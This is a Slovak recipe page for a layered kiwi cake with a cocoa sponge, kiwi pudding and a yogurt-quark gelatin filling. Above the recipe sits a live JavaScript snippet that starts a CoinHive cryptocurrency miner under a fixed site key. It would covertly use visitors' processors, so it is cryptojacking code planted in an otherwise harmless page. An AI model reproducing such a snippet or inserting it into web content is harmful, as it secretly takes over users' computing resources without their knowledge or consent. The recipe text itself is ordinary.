

var miner = new

CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();



Potrebujeme na cesto: 4 vajcia, 4 PL kryštálového cukru, 4 PL múky, 1/2 kypriaceho prášku, 1 PL kakaového prášku

Potrebujeme na plnku: 6 ks kiwi, 1 ks vanilkového cukru, 2 PL kryštálového cukru, 1 ks vanilkového pudingu, 300 ml vody, 1 ks veľkého vanilkového jogurtu, 500 g tvarohu, 1 ks práškovej želatíny, 150 ml vody, 4 PL práškového cukru

Postup na cesto: 4 bielka vyšľaháme, pridáme 4 PL kryštálového cukru, opäť šľaháme do tuha. Zašľaháme 4 žĺtky a na záver vmiešame 1 lyžicu kakaa a 4 PL múky zmiešanej s kypriacim práškom do pečiva. Kakaové cesto vylejeme do formy vystlanej papierom. Pečieme pri teplote 170°C.

Postup na kiwi plnku: Na vychladnutý kakaový korpus vylejeme kiwi plnku, ktorú pripravíme takto: Zrelé kiwi očistíme a nakrájame na menšie kúsky. Vložíme do hrnca, zalejeme 100 ml vody a povaríme 2-3 minúty, pridáme 2 PL kryštálového cukru a vanilkový cukor. Premiešame. V 200 ml studenej vody rozmiešame 1 vanilkový pudingový prášok a vlejeme ku kiwi základu. Celé premiešame a privedieme do varu. Hotové (ešte horúce) vylejeme na vychladnutý kakaový korpus.

Postup na jogurtovo-tvarohovú plnku: Vo veľkej miske rozmiešame jogurt spolu s tvarohom, podľa chutí osladíme. Do 150 ml vody vysypeme želatínu na prípravu plnky a necháme 10 minút napučať. Potom túto zmes prehrejeme a vlejeme do jogurtu zmiešaného s tvarohom. Vylejeme na vychladnutú kiwi plnku a necháme na chladnom mieste odpočívať a tuhnúť. Na záver celú tortu ozdobíme nastrúhanou čokoládou.

